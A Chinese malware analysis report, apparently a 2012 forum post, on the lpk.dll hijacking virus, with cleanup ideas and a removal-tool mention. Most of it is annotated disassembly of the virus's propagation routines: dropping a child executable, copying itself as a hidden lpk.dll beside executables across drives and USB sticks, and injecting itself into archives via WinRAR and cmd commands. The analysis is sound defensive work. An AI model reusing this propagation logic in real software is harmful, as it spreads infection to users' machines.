【lpk.dll病毒/木马】分析报告
lpk病毒分析及查杀工具源码.zip
一、名词解释
母体:指病毒主文件 (lpk.dll.v随包带)
子体:指由母体从资源中释放出来的exe文件.
二、概述
作者: MiTang
时间: 2012-2-25
样本来源:自己机器上已中标,就地取材.
利用双休时间,我对该母体全面分析, 顺便提出了解决办法,附上查杀工具及源码,由于学习紧张,时间紧足没有对子体进行全面分析,故只上传了母体分析报告,肯定会有瑕疵的地方,希望提朋友纠正意见.上传作为一个足迹 .进入正题:
当母体名称为lpk.dll时.利用与系统lpk.dll同名,造成含有edit控件的程序导入该库时被劫持.当程序需要系统 lpk.dll支持时,母体起到了一个中转作用.这些函数并没有挂钩.主要动作有如下2点:
母体在入口点 通过一个有名称 的互斥对像, 仅一次 释放子体并启动它.
2.母体入口点,最后做的工作: 获取系统lpk.dll如下函数填充到自己导出的同名函数中:
LpkTabbedTextOut
LpkDllInitialize
LpkDrawTextEx
LpkEditControl //这步有特殊处理,是一组函数,而不是单个
LpkExtTextOut
LpkGetCharacterPlacement
LpkGetTextExtentExPoint
LpkInitialize
LpkPSMTextOut
LpkUseGDIWidthCache
ftsWordBreak
当母体文件名为其它名称,被程序加载时, 也做上面的第1,2步动作.还加了一步下面这步操作.
1.母体在入口点 启动一个工作主线程工作行为,
动作1. 扫描电脑上所有可感染的逻辑磁盘,针对每一个可感染的逻辑
磁盘启动一个感染线程去感染磁盘.
条件触发: 每过两个小时,或逻辑磁盘发生变化时(如插入U盘时),重复动作1.
2感染线程行为: 枚举逻辑盘上所有文件夹.
只要发现该目录有exe存在且该目录没有母体时,就把当前母体复制过去.
只要发现该目录有zip.或rar. 利用winrar 命令行参数方式,启动rar.exe 先检查压缩包内母体是否存,如果不存在 则把母体添加到压缩包内, 但是这一点作者没做好.在把母体打包时的目标压缩包的名称,与母体创建文件夹名称 冲突,造成无法打包.唉.
整个程序下来,逻辑感觉好乱.
注:随包 idb文件是ida6.1版本的;
三、清理方式
1、对母体与子体提取文件特征码
2、枚举系统所有目录,符合特征码即删除即可.
3、对母体与子体提取内存特征,注入所有进程,枚举所有模块,符合特征关闭进程,再删除.
当然在清理时,母体还在接着感染,所以要先对源头进行控制,在这里一种思路:
因为母体是利用CopyFileW 将自身复制到目标文件夹中,可以先hook所有进程这个函数,对其传入的源文件作特征 检查.符合则拒绝.否则放行. 也可以由此得到作案进程信息强制关闭即可.
分析正文
这里只列出几个核心函数分析,详情在随包idb中
入口点:
; BOOL __stdcall DLLEntry (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
public dllpoint
dllpoint proc near
hLibModule= dword ptr 4
fdwReason= dword ptr 8
lpReserved= dword ptr 0Ch
arg_100020A8= dword ptr 100020ACh
cmp [esp+fdwReason], DLL_PROCESS_ATTACH
push esi
jnz short ELSE_IF
IF_DLL_PROCESS_ATTACH_: ; DLL_PROCESS_ATTACH 第一次加载dll时
mov esi, [esp+4+hLibModule]
push 260 ; nSize
push offset gszCurrentLpkPathName ; lpFilename
push esi ; hModule
mov ghModule, esi
call ds:GetModuleFileNameW ; 获取当前母体目录完整路径,保存在全局变量中,于后面感染别的目录,作为源
push esi ; hLibModule
call ds:DisableThreadLibraryCalls ; The Disable DLL_THREAD_ATTACH DLL_THREAD_DETACH notifications
call MyGetMutexNameTo_gszMutexName
cmp eax, TRUE
jnz short ISLPKDLL
call IsMainModule_hrl_tmp ;主模块是否是子体
test eax, eax
jnz short SKIP_HRL_TMP ; 跳过子体
NOT_HRL_TMP: ; 主模块不是子体.
call MyCreateMutex
test eax, eax ; FALSE 表示第一次创建互体成功,TURE表示创建失败或互体已存在
jnz short SKIP_HRL_TMP
call ReleaseAndCreateProcess ; 释放子体 exe并启动它,成功TURE,失败FALSE
SKIP_HRL_TMP: ; ...
call Is_CurrentModule_lpk_dll
cmp eax, TRUE ; 如果当前模块是lpk.dll则返回FALSE,否则返回TURE,母体可能被改名
jnz short ; 加载系统lpk.dll并获取所有导出函数地址
CurrentModuleIsNot_lpk_dll: ; lpName 母体文件名不为:lpk.dll 时
push NULL
push FALSE ; bInitialState
push eax ; bManualReset
push NULL ; lpEventAttributes
call ds:CreateEventW ; 创建自动管理,初始无信号事件,作退出通知用
mov ghDllDetachEvent, eax
test eax, eax
jz short ISLPKDLL ; 加载系统lpk.dll并获取所有导出函数地址
call Start_MainThreadProc ; 创建主工线程并运行成功,则ghThread存放的是新线程的句柄,否则为NULL
ISLPKDLL: ; lpName 母体文件名为:lpk.dll 时
call LoadSysLpkAndGetExportFunAddr ; 加载系统lpk.dll并获取所有导出函数地址
jmp short IF_END_
; ---------------------------------------------------------------------------
ELSE_IF: ; ...
cmp [esp+4+fdwReason], DLL_PROCESS_DETACH
jnz short ELSE
DLL_PROCESS_DETACH_:
mov eax, ghDllDetachEvent
test eax, eax
jz short ghEvenetIsNULL ; 系统lpk.dll 有加载就释放掉
push eax ; hEvent
call ds:SetEvent ; 置ghEvent信号状态
push INFINITE ; dwMilliseconds
push ghMainThread ; hHandle
call ds:WaitForSingleObject ; 等ghMainThread线程退出,有信号就退出
push ghMainThread ; hObject
mov esi, ds:CloseHandle ; 开始释放资源
call esi ; CloseHandle
push ghDllDetachEvent ; hObject
call esi ; CloseHandle
ghEvenetIsNULL: ; ...
call FreeSysLpkdll ; 系统lpk.dll 有加载就释放掉
ELSE: ; ...
xor eax, eax
inc eax
IF_END_: ; ...
pop esi
retn 0Ch
dllpoint endp
功能: 释放子体并启动子体进程
; BOOL __cdecl ReleaseAndCreateProcess()
ReleaseAndCreateProcess proc near ; ...
PathName= word ptr -26Ch
StartupInfo= _STARTUPINFOW ptr -64h
ProcessInformation= _PROCESS_INFORMATION ptr -20h
NumberOfBytesWritten= dword ptr -10h
lpBuffer= dword ptr -0Ch
nNumberOfBytesToWrite= dword ptr -8
bSuccess= dword ptr -4
push ebp
mov ebp, esp
sub esp, 620
push esi
push edi
push RT_RCDATA ; lpType
push 102 ; lpName
push ghModule ; hModule
xor esi, esi
mov [ebp+bSuccess], esi
call ds:FindResourceW ; 子体放在母体资源中
mov edi, eax
cmp edi, esi
jz EXIT_FAIL
push edi ; hResInfo
push ghModule ; hModule
call ds:SizeofResource
push edi ; hResInfo
push ghModule ; hModule
mov [ebp+nNumberOfBytesToWrite], eax
call ds:LoadResource
cmp eax, esi
jz EXIT_FAIL
cmp [ebp+nNumberOfBytesToWrite], esi
jz EXIT_FAIL
push eax ; hResData
call ds:LockResource
mov [ebp+lpBuffer], eax ; lpBuffer--> 子体exe数据
cmp eax, esi
jz EXIT_FAIL
push ebx
lea eax, [ebp+PathName]
push eax ; lpBuffer
push 260 ; nBufferLength
call ds:GetTempPathW
lea eax, [ebp+PathName]
push eax ; lpTempFileName
push esi ; uUnique
push offset PrefixString ; "hrl"
push eax ; lpPathName
call ds:GetTempFileNameW ; 指定子体 临时文件名为hrl* *号uUnique随机数字
push esi ; hTemplateFile
push esi ; dwFlagsAndAttributes
push 2 ; dwCreationDisposition
push esi ; lpSecurityAttributes
xor ebx, ebx
inc ebx
push ebx ; dwShareMode
push 40000000h ; dwDesiredAccess
lea eax, [ebp+PathName]
push eax ; lpFileName
call ds:CreateFileW ; 创建临时文件
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short EXIT_FAIL1
push esi ; lpOverlapped
lea eax, [ebp+NumberOfBytesWritten]
push eax ; lpNumberOfBytesWritten
push [ebp+nNumberOfBytesToWrite] ; nNumberOfBytesToWrite
mov [ebp+NumberOfBytesWritten], esi
push [ebp+lpBuffer] ; lpBuffer
push edi ; hFile
call ds:WriteFile ; 将子体写到临时文件hrl*.tmp
push edi ; hObject
mov edi, ds:CloseHandle
mov [ebp+bSuccess], eax
call edi ; CloseHandle
cmp [ebp+bSuccess], ebx
jnz short EXIT_FAIL1
push 44h
lea eax, [ebp+StartupInfo]
push eax
call ds:RtlZeroMemory
xor eax, eax
mov [ebp+StartupInfo.wShowWindow], ax
lea eax, [ebp+ProcessInformation]
push eax ; lpProcessInformation
lea eax, [ebp+StartupInfo]
push eax ; lpStartupInfo
push esi ; lpCurrentDirectory
push esi ; lpEnvironment
push esi ; dwCreationFlags
push esi ; bInheritHandles
push esi ; lpThreadAttributes
push esi ; lpProcessAttributes
lea eax, [ebp+PathName]
push eax ; lpCommandLine
push esi ; lpApplicationName
mov [ebp+StartupInfo.cb], 44h
mov [ebp+StartupInfo.dwFlags], ebx
call ds:CreateProcessW ; 启动子体exe进程
mov [ebp+bSuccess], eax
cmp eax, ebx
jnz short EXIT_FAIL1
push [ebp+ProcessInformation.hThread] ; hObject
call edi ; CloseHandle
push [ebp+ProcessInformation.hProcess] ; hObject
call edi ; CloseHandle
EXIT_FAIL1: ; ...
pop ebx
EXIT_FAIL: ; ...
mov eax, [ebp+bSuccess]
pop edi ; 成功返回TURE,否则返回FALSE
pop esi
leave
retn
ReleaseAndCreateProcess endp
功能: 动作1:扫描电脑上所有可感染的逻辑磁盘,针对每一个可感染的逻辑磁盘启动一个感染线程去感染磁盘.
条件触发: 每过两个小时,或逻辑磁盘发生变化时(如插入U盘时),重复动作1.
; DWORD __stdcall MainThreadProc(LPVOID)
MainThreadProc proc near ; ...
nDriverCount= dword ptr -0C4h
hThreadArray= dword ptr -0C0h
lpBuff= byte ptr -60h
sub esp, 0C4h
push ebx
push ebp
push esi
push edi ; 以上保存环境
push 60h
lea eax, [esp+0D8h+lpBuff]
push eax
xor edi, edi ; EDI = 0 存放线程ThreadProc1句柄数组下标
call ds:RtlZeroMemory ; RtlZeroMemory(lpBuff,0x60)
WHILE_BEGIN: ; ...
push 2
pop ebx ; ebx = 2开始,检测目标所有存储器是否可感染
lea ebp, [esp+0D4h+lpBuff] ; ebp->lpBuff
mov [esp+0D4h+nDriverCount], 24
FOR1_BEGING: ; ...
cmp dword ptr [ebp+0], 1
jz short FOR1_STEP ; 下一个磁盘标号
push ebx ; iDrive
call ds:DriveType ; 读取存储器类型
add eax, 0FFFFFFFEh
cmp eax, 2 ; 是否可感染
ja short FOR1_STEP ; 不可感染则下一个磁盘
xor eax, eax
push eax ; lpThreadId
push 4 ; dwCreationFlags
push ebx ; lpParameter
push offset InfectThreadProc ; lpStartAddress 感染线程
push eax ; dwStackSize
push eax ; lpThreadAttributes
call ds:CreateThread ;针对本磁盘启动感染线程
lea esi, [esp+edi*4+0D4h+hThreadArray] ; 保存线程句柄到数组中
mov [esi], eax
test eax, eax
jz short FOR1_STEP ; 下一个磁盘标号
push THREAD_PRIORITY_IDLE ; nPriority
push eax ; hThread
call ds:SetThreadPriority
cmp eax, 1
jnz short FAIL
push dword ptr [esi] ; hThread
call ds:ResumeThread
cmp eax, 0FFFFFFFFh
jz short FAIL ; 线程句柄数组下标++
inc edi
mov dword ptr [ebp+0], TRUE ; 操作成功
jmp short FOR1_STEP ; 下一个磁盘标号
; ---------------------------------------------------------------------------
FAIL: ; ...
push 0 ; dwExitCode
push dword ptr [esi] ; hThread
call ds:TerminateThread
FOR1_STEP: ; ...
inc ebx ; 下一个磁盘标号
add ebp, 4
dec [esp+0D4h+nDriverCount]
jnz short FOR1_BEGING
xor esi, esi
cmp edi, esi ; edi 成功启动感染线程数,如果为0再尝试一次
jz short WHILE_CMP
push esi ; dwMilliseconds
push TRUE ; bWaitAll
lea eax, [esp+0DCh+hThreadArray]
push eax ; lpHandles
push edi ; nCount
call ds:WaitForMultipleObjects ; WaitForMultipleObjects(nCount, hThreadArray, TRUE, 0)
cmp eax, WAIT_TIMEOUT
jz short WHILE_CMP ; 所有感染线程是否执行完毕,如果是就释放所有句柄,否则不管了.
push 60h
lea eax, [esp+0D8h+lpBuff]
push eax
call ds:RtlZeroMemory
test edi, edi
jbe short WHILE1_END ; 如果感染线程大于0,并完全退出,则关闭所有线程句柄
WHILE1_BEGING: ; ...
push [esp+esi*4+0D4h+hThreadArray] ; hObject
call ds:CloseHandle
inc esi
cmp esi, edi
jb short WHILE1_BEGING
WHILE1_END: ; ...
xor edi, edi
WHILE_CMP: ; ...
call IsContinueInfection
cmp eax, TRUE ; 如果主程序运行两小时之多,就是没有dll_detach信号退出或逻辑磁盘发生变化时返回真,继教重新感染
jz WHILE_BEGIN
test edi, edi
jz short EXIT ; 最后一次感染线程数不为0
push INFINITE ; dwMilliseconds
push 1 ; bWaitAll
lea eax, [esp+0DCh+hThreadArray]
push eax ; lpHandles
push edi ; nCount
call ds:WaitForMultipleObjects ; WaitForMultipleObjects(nCount, hThreadArray, TRUE, INFINITE)
xor esi, esi ; 等待所有感染线程退出
test edi, edi
jbe short EXIT
loc_100019CC: ; ...
push [esp+esi*4+0D4h+hThreadArray] ; hObject
call ds:CloseHandle
inc esi
cmp esi, edi
jb short loc_100019CC ; 释放所有线程句柄
EXIT: ; ...
pop edi
pop esi
pop ebp
pop ebx
add esp, 0C4h
retn
MainThreadProc endp
功能:枚举逻辑盘上所有文件夹.
只要发现该目录有exe存在且该目录没有母体时,就把当前母体复制过去.
只要发现该目录有zip.或rar. 利用winrar 命令行参数方式,启动rar.exe 先检查压缩包内母体是否存,如果不存在 则把母体添加到压缩包内, 但是这一点作者没做好.在把母体打包时的目标压缩包的名称,与母体创建文件夹名称冲突
InfectThreadProc proc near ; ...
FindFileData= _WIN32_FIND_DATAW ptr -668h
lpszDestDriverPath= word ptr -418h
lpszDestFilePathName= word ptr -210h
hFindFile= dword ptr -8
var_4= dword ptr -4
lpArg= dword ptr 8
push ebp
mov ebp, esp
sub esp, 1640
push ebx
push 0 ; dwMilliseconds
push ghDllDetachEvent ; hHandle
xor ebx, ebx
inc ebx
mov [ebp+var_4], ebx
call ds:WaitForSingleObject
cmp eax, WAIT_TIMEOUT
jz short WORK ; DLL_DETACH 直接退出,否则做些事情
xor eax, eax
jmp EXIT
; ---------------------------------------------------------------------------
WORK: ; ...
push esi
mov esi, ds:lstrcpyW
push edi
mov edi, [ebp+lpArg]
lea eax, [ebp+lpszDestDriverPath]
cmp edi, 100h ; lpArg小于100h就是盘符id,大于则是文件名完整路径指针
jnb short ARGISFILENAMEPATH
push offset gszA ; "A:\\"
push eax ; lpString1
call esi ; lstrcpyW
add [ebp+lpszDestDriverPath], di ; 以A盘为盘符基址,加上盘符ID,得到目标盘符路径
jmp short loc_100016D1
; ---------------------------------------------------------------------------
ARGISFILENAMEPATH: ; ...
push edi ; lpString2
push eax ; lpString1
call esi ; lstrcpyW ; lpszDestDriverPath = lpArg
loc_100016D1: ; ...
lea eax, [ebp+lpszDestDriverPath]
push eax ; lpString2
lea eax, [ebp+lpszDestFilePathName]
push eax ; lpString1
call esi ; lstrcpyW
mov edi, ds:PathAppendW
push offset gszAll ; pMore
lea eax, [ebp+lpszDestDriverPath]
push eax ; pszPath
call edi ; PathAppendW ; lpszDestDriverPath 填加通配符 如: C:\*
lea eax, [ebp+FindFileData]
push eax ; lpFindFileData
lea eax, [ebp+lpszDestDriverPath]
push eax ; lpFileName
call ds:FindFirstFileW
mov [ebp+hFindFile], eax ; 返回一个搜索句柄
cmp eax, -1
jnz short FIND_SUCCESS ; 查找失败,直退退出
mov eax, ebx
jmp EXIT1
; ---------------------------------------------------------------------------
FIND_SUCCESS: ; ...
lea eax, [ebp+lpszDestFilePathName]
push eax ; lpString2
lea eax, [ebp+lpszDestDriverPath]
push eax ; lpString1
call esi ; lstrcpyW
mov ebx, ds:lstrcmpiW ; lpszDestDriverPath = lpszDestFilePathNam
WHILE_BEGING_FINDNEXTFILE: ; ...
push offset gszPoint ; "."
lea eax, [ebp+FindFileData.cFileName]
push eax ; lpString1
call ebx ; lstrcmpiW ; 比较文件名是否是 . 特殊文件
test eax, eax
jz WHILE_CMP_FINDNEXTFILE
push offset a__ ; ".."
lea eax, [ebp+FindFileData.cFileName]
push eax ; lpString1
call ebx ; lstrcmpiW ; 比较文件名是否是 .. 特殊文件
test eax, eax
jz WHILE_CMP_FINDNEXTFILE
test byte ptr [ebp+FindFileData.dwFileAttributes], FILE_ATTRIBUTE_DIRECTORY
jz short THISISFILE ; 判断是否目录
DIRECTORY: ; dwMilliseconds
push 20
push ghDllDetachEvent ; hHandle
call ds:WaitForSingleObject
cmp eax, WAIT_TIMEOUT
jnz short DLL_DETACH_SIGNAL ; 接到程序关闭通知
lea eax, [ebp+lpszDestDriverPath]
push eax ; lpString2
lea eax, [ebp+lpszDestFilePathName]
push eax ; lpString1
call esi ; lstrcpyW
lea eax, [ebp+FindFileData.cFileName]
push eax ; pMore
lea eax, [ebp+lpszDestFilePathName]
push eax ; pszPath
call edi ; PathAppendW
lea eax, [ebp+lpszDestFilePathName]
push eax ; LPVOID
call InfectThreadProc ; 目录递归操作
test eax, eax
jnz WHILE_CMP_FINDNEXTFILE
DLL_DETACH_SIGNAL: ; ...
and [ebp+var_4], 0
EXIT_FREE: ; ...
push [ebp+hFindFile] ; hFindFile
call ds:FindClose
mov eax, [ebp+var_4]
EXIT1: ; ...
pop edi
pop esi
EXIT: ; ...
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
THISISFILE: ; ...
lea eax, [ebp+FindFileData.cFileName]
push eax ; pszPath
call ds:PathFindExtensionW
mov [ebp+lpArg], eax ; 保存文件名的扩展名 如 .rar
test eax, eax
jz WHILE_CMP_DLLDETACH_SIGNAL
push offset gszExe ; ".EXE"
push eax ; lpString1
call ebx ; lstrcmpiW ; 是否是exe文件
test eax, eax
jnz short ELSE_IF
FILE_IS_EXE: ; 在当前exe目录,放一个lpk.dll
lea eax, [ebp+lpszDestDriverPath]
push eax ; lpString2
lea eax, [ebp+lpszDestFilePathName]
push eax ; lpString1
call esi ; lstrcpyW
push offset gszLpk_dll ; "lpk.dll"
lea eax, [ebp+lpszDestFilePathName]
push eax ; pszPath
call edi ; PathAppendW ; lpszDestFilePathName = 如 c:\11\lpk.dll
lea eax, [ebp+lpszDestFilePathName]
push eax ; lpFileName
call ds:GetFileAttributesW
cmp eax, INVALID_FILE_ATTRIBUTES
jnz WHILE_CMP_FINDNEXTFILE ; 已存在lpk.dll跳过
push 1 ; bFailIfExists
lea eax, [ebp+lpszDestFilePathName]
push eax ; lpNewFileName
push offset gszCurrentLpkPathName ; lpExistingFileName
call ds:CopyFileW ; 从把当lpk.dll复制到目标文件夹中,只是有可能感染目标文件夹中的exe
push FILE_ATTRIBUTE_READONLY or FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM ; dwFileAttributes
lea eax, [ebp+lpszDestFilePathName]
push eax ; lpFileName
call ds:SetFileAttributesW ; 并把目标lpk.dll为隐藏系统等属性
ELSE_IF: ; ...
push offset gszRar ; ".RAR"
push [ebp+lpArg] ; lpString1
call ebx ; lstrcmpiW
test eax, eax
jz short FILE_IS_RAR_OR_ZIP
push offset gszZip ; ".ZIP"
push [ebp+lpArg] ; lpString1
call ebx ; lstrcmpiW
test eax, eax
jnz short WHILE_CMP_DLLDETACH_SIGNAL
FILE_IS_RAR_OR_ZIP: ; ...
cmp [ebp+FindFileData.nFileSizeHigh], 0
jnz short WHILE_CMP_DLLDETACH_SIGNAL
cmp [ebp+FindFileData.nFileSizeLow], 52428800
jnb short WHILE_CMP_DLLDETACH_SIGNAL ; 只要目标 .rar 或 .zip 超过413M 则跳走
lea eax, [ebp+lpszDestDriverPath]
push eax ; lpString2
lea eax, [ebp+lpszDestFilePathName]
push eax ; lpString1
call esi ; lstrcpyW
lea eax, [ebp+FindFileData.cFileName]
push eax ; pMore
lea eax, [ebp+lpszDestFilePathName]
push eax ; pszPath
call edi ; PathAppendW
lea eax, [ebp+lpszDestFilePathName]
push eax ; lpFilePathName
call AddLpkDllToZipRar ;将母体添加到压缩包,但作者一些错误导致白忙会
pop ecx
WHILE_CMP_DLLDETACH_SIGNAL: ; ...
push 20 ; dwMilliseconds
push ghDllDetachEvent ; hHandle
call ds:WaitForSingleObject
cmp eax, WAIT_TIMEOUT
jnz DLL_DETACH_SIGNAL
WHILE_CMP_FINDNEXTFILE: ; ...
lea eax, [ebp+FindFileData]
push eax ; lpFindFileData
push [ebp+hFindFile] ; hFindFile
call ds:FindNextFileW
cmp eax, 1 ; 比较有问题,FindNextFile成功返回是非0,不一定是1
jz WHILE_BEGING_FINDNEXTFILE
jmp EXIT_FREE
InfectThreadProc endp
功能:利用winrar 命令行参数方式,启动rar.exe 先检查压缩包内母体是否存,如果不存在 则把母体添加到压缩包内, 但是这一点作者没做好.在把母体打包时的目标压缩包的名称,与母体创建文件夹名称冲突,造成无法打包.唉.
AddLpkDllToZipRar proc near ; ...
CommandLine= word ptr -824h
PathName= word ptr -414h
FileName= word ptr -20Ch
String2= word ptr -20Ah
var_4= dword ptr -4
lpFilePathName= dword ptr 8
push ebp
mov ebp, esp
sub esp, 824h
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+FileName]
push eax
push 0
push 2
push 0
push offset aWinrarShellOpe ; "WinRAR\\shell\\open\\command"
push 80000000h
mov [ebp+var_4], 208h
call ds:SHRegGetValueW ; 获取winrar rar.exe 路径
test eax, eax
jnz EXIT ; 没有安装winrar则直接退出
cmp [ebp+FileName], '"'
setnz al
test eax, eax
jnz loc_100015FC
lea eax, [ebp+String2]
push eax ; lpString2
lea eax, [ebp+FileName]
push eax ; lpString1
call ds:lstrcpyW
mov eax, offset Srch ; "\""
loc_10001490: ; ...
push eax ; lpSrch
lea eax, [ebp+FileName]
push eax ; lpFirst
call ds:StrStrIW
test eax, eax
jz EXIT
xor ecx, ecx
mov [eax], cx
lea eax, [ebp+FileName]
push eax ; pszPath
call ds:PathRemoveFileSpecW
push offset pMore ; "rar.exe"
lea eax, [ebp+FileName]
push eax ; pszPath
call ds:PathAppendW
lea eax, [ebp+FileName]
push eax ; lpFileName
call ds:GetFileAttributesW
cmp eax, INVALID_FILE_ATTRIBUTES
jz EXIT
push esi
push edi
lea eax, [ebp+FileName]
push eax ; pszLongPath
call ds:PathGetShortPath ; 得到 rar.exe 绝对路径
lea eax, [ebp+PathName]
push eax ; lpBuffer
push 104h ; nBufferLength
call ds:GetTempPathW ; 获取临时路径
lea eax, [ebp+PathName]
push eax ; lpTempFileName
call ds:GetCurrentThreadId ; 线程id
push eax ; uUnique
push offset aIrar ; "IRAR"
lea eax, [ebp+PathName]
push eax ; lpPathName
call ds:GetTempFileNameW ; 获取临时文件夹路径
mov esi, ds:wsprintfW
lea eax, [ebp+PathName]
push eax
push [ebp+lpFilePathName]
lea eax, [ebp+FileName]
push eax
lea eax, [ebp+CommandLine]
push offset aCmdCSVbSLpk_dl ; "cmd /c %s vb \"%s\" lpk.dll|find /i \"lpk."...
push eax ; LPWSTR
call esi ; wsprintfW ; 拼接winrar 执行参数如:..
; // cmd /c C:\PROGRA~1\WinRAR\rar.exe vb "D:\a.zip" lpk.dll|find /i "lpk.dll"
; //完成功能:查找目标winrar D:\a.zip 中是否存在lpk.dll
mov edi, 0EA60h
lea eax, [ebp+CommandLine]
push edi ; dwMilliseconds
push eax ; lpCommandLine
call ExcuteCmd ; 执行上面命令
add esp, 1Ch
test eax, eax
jz EXIT_OPERATOR_FAIL
lea eax, [ebp+PathName]
push eax
push [ebp+lpFilePathName]
lea eax, [ebp+FileName]
push eax
lea eax, [ebp+CommandLine]
push offset aSXS_exeS ; "\"%s\" x \"%s\" *.exe \"%s\\\""
push eax ; LPWSTR
call esi ; wsprintfW
lea eax, [ebp+CommandLine]
push 1D4C0h ; dwMilliseconds
push eax ; lpCommandLine
call ExcuteCmd ; //拼接命令,如:
; //C:\PROGRA~1\WinRAR\rar.exe x D:\a.zip *.exe C:\Temp\IRA478.tmp\
; //完成功能: 解压源文件a.zip 所有exe 解压到C:\Temp\IRA478.tmp\
add esp, 1Ch
lea eax, [ebp+PathName]
push eax ; LPVOID
call InfectThreadProc ; 解压之后,把这个目录C:\Temp\IRA478.tmp\ 传给感染线程函数再次去感染
lea eax, [ebp+PathName]
push eax
push [ebp+lpFilePathName]
push eax
lea eax, [ebp+FileName]
push eax
lea eax, [ebp+CommandLine]
push offset aSAREp1SSSLpk_d ; "\"%s\" a -r -ep1\"%s\" \"%s\" \"%s\\lpk.dll\""
push eax ; LPWSTR
call esi ; wsprintfW
lea eax, [ebp+CommandLine]
push 3A980h ; dwMilliseconds
push eax ; lpCommandLine
call ExcuteCmd ; //C:\PROGRA~1\WinRAR\rar.exe a -r -ep1 C:\Temp\IRA478.tmp D:\a.zip C:\Temp\IRAF60.tmp\lpk.dll
; //经过多次测试,这条语句不仅winrar语法上有误(这点可能跟版本有关),还有一点要压缩的文件名,跟上面
; //的解压时文件夹名称冲突,造成系统拒绝访问
; //过不了系统检查这关,猜测作者是想,把目标的rar文件中的所有exe解压出来,附上lpk.dll再打包回去,
; //唉,太麻烦了.直接往目标压缩包中添加一个lpk.dll不就行了啊
lea eax, [ebp+PathName]
push eax
lea eax, [ebp+CommandLine]
push offset aCmdCRdSQS ; "cmd /c RD /s /q \"%s\""
push eax ; LPWSTR
call esi ; wsprintfW
lea eax, [ebp+CommandLine]
push edi ; dwMilliseconds
push eax ; lpCommandLine
call ExcuteCmd ; //cmd /c RD /s /q "C:\Temp\IRA478.tmp"
; //完成功能:cmd 命令 删除指定目录 ,结合上面功能,这一圈下来啥也没做啊.假如他winrar语法正确,
; //再假如他没有文件名上的冲突,目标d:\a.zip也没有影响啊. 这段函数,花费了我分析整 个lpk 1/4的时间
; //结果一场空啊,函数没有做到有意义的事情.瞎忙会.
add esp, 34h
EXIT_OPERATOR_FAIL: ; ...
pop edi
pop esi
EXIT: ; ...
leave
retn
; ---------------------------------------------------------------------------
loc_100015FC: ; ...
mov eax, offset asc_100021E8 ; " "
jmp loc_10001490
AddLpkDllToZipRar endp
LoadSysLpkAndGetExportFunAddr proc near ; ... 加载系统lpk.dll并获取系统lpk导出函数地址
LibFileName= word ptr -208h
push ebp
mov ebp, esp
sub esp, 208h
push 104h ; uSize
lea eax, [ebp+LibFileName]
push eax ; lpBuffer
call ds:GetSystemDirectoryW
push offset String2 ; "\\lpk"
lea eax, [ebp+LibFileName]
push eax ; lpString1
call ds:lstrcatW
lea eax, [ebp+LibFileName]
push eax ; lpLibFileName
call ds:LoadLibraryW
mov ghSyslpk, eax
test eax, eax
jz short FAIL
call GetSysLpkAddrAndFillMeExportTable ; 获取系统lpk导出函数地址,填充到自己导出函数,起中转作用
FAIL: ; ...
xor eax, eax
cmp ghSyslpk, eax
setnz al ; 成功返回TURE,否则FALSE
leave
retn
LoadSysLpkAndGetExportFunAddr endp
GetSysLpkAddrAndFillMeExportTable proc near ; ...
push offset gszLpkTabbedTextOut ; "LpkTabbedTextOut"
call MyGetProcessAddr
push offset gszLpkDllInitialize ; "LpkDllInitialize"
mov lpLpkTabbedTextOut, eax
call MyGetProcessAddr
push offset gszLpkDrawTextEx ; "LpkDrawTextEx"
mov lpLpkDllInitialize, eax
call MyGetProcessAddr
push 40h
push offset gszLpkEditControl ; "LpkEditControl"函数 特殊处理
mov lpLpkDrawTextEx, eax
call MyGetProcessAddr
push eax
push offset lpLpkEditControl
call ds:RtlMoveMemory ; LpkEditControl这个数组有14个成员,必须将其复制过来
push offset gszLpkExtTextOut ; "LpkExtTextOut"
call MyGetProcessAddr
push offset gszLpkGetCharacterPlacement ; "LpkGetCharacterPlacement"
mov lpLpkExtTextOut, eax
call MyGetProcessAddr
push offset gszLpkGetTextExtentExPoint ; "LpkGetTextExtentExPoint"
mov lpLpkGetCharacterPlacement, eax
call MyGetProcessAddr
push offset gszLpkInitialize ; "LpkInitialize"
mov lpLpkGetTextExtentExPoint, eax
call MyGetProcessAddr
push offset gszLpkPSMTextOut ; "LpkPSMTextOut"
mov lpLpkInitialize, eax
call MyGetProcessAddr
push offset gszLpkUseGDIWidthCache ; "LpkUseGDIWidthCache"
mov lpLpkPSMTextOut, eax
call MyGetProcessAddr
push offset gszftsWordBreak ; "ftsWordBreak"
mov lpLpkUseGDIWidthCache, eax
call MyGetProcessAddr
mov lpftsWordBreak, eax
retn
GetSysLpkAddrAndFillMeExportTable endp
MyGetProcessAddr proc near ; .获取系统lpk.dll指定函数名地址
lpProcName= dword ptr 4
push [esp+lpProcName] ; lpProcName
push ghSyslpk ; hModule 系统lpk.dll句柄
call ds:GetProcAddress
test eax, eax
jnz short FINISH
push 0FFFFFFFEh ; uExitCode
call ds:ExitProcess ; 获取系统lpk.dll函数地址失败,则结束进程
; ---------------------------------------------------------------------------
FINISH: ; ...
retn 4
MyGetProcessAddr endp
lpk病毒分析及查杀工具源码.zip
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)